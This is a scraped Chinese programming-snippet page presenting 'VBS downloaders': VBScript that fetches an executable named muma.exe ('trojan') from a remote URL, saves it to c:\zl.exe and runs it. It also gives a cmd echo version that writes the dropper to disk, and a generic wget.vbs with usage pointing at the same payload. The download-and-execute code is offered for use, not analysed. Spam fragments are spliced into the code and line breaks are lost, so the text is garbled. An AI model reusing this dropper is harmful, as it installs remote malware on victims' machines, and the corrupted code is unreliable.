VBS下载者(通过vbscript实现文件下载)
一、VBS下载者:
复制代码 代码如下:
Set Post = CreateObject("Msxml2.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Post.Open "GET","http://www.jbzj.com/muma.exe",0Post.Send()Set aGet = Crea编程客栈teObject("ADODB.Stream")aGet.Mode = 3aGet.Type = 1aGet.Open() aGet.Write(Post.responseBody)aGet.SaveToFile "YnhpbjhiZc:\zl.exe",2wscript.sleep 1000 Shell.Run ("c:\zl.exe") '延迟过后执行下载文件开发者_C学习二、cmd下执行的版本:
复制代码 代码如下:
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbsecho Set Shell = CreateObject("Wwww.devze.comscript.Shell") >>zl.vbsecho Post.Open "GET","http://www.jbzj.com/muma.exe",0 >>zl.vbsecho Post.Send() >>zl.vbsecho Set aGet = CreateObject("ADODB.Stream") >>zl.vbsecho aGet.Mode = 3 >>zl.vbsecho aGet.Type = 1 >>zl.vbsecho aGet.Open() >>zl.vbsecho aGet.Write(Post.responseBody) >>zl.vbsecho aGet.SaveToFile "c:\zl.exe",2 >>zl.vbsecho wscript.sleep 1000 >>zl.vbsecho Shell.Run ("c:\zl.exe") >>zl.vbs三、wget.vbs
复制代码 代码如下:
on error resume nextiLocal=LCase(Wscript.Arguments(1))iRemote=LCase(Wscript.Arguments(0))iUser=LCase(Wscript.Arguments(2))iPass=L编程客栈Case(Wscript.Arguments(3))set xPost=CreateObject("Microsoft.XMLHTTP")if iUser="" and iPass="" thenxPost.Open "GET",iRemote,0elsexPost.Open "GET",iRemote,0,iUser,iPassend ifxPost.Send()set sGet=CreateObject("ADODB.Stream")sGet.Mode=3sGet.Type=1sGet.Open()sGet.Write xPost.ResponseBodysGet.SaveToFile iLocal,2使用方法:cscript wge编程客栈t.vbs http://www.jbzj.com/muma.exe
精彩评论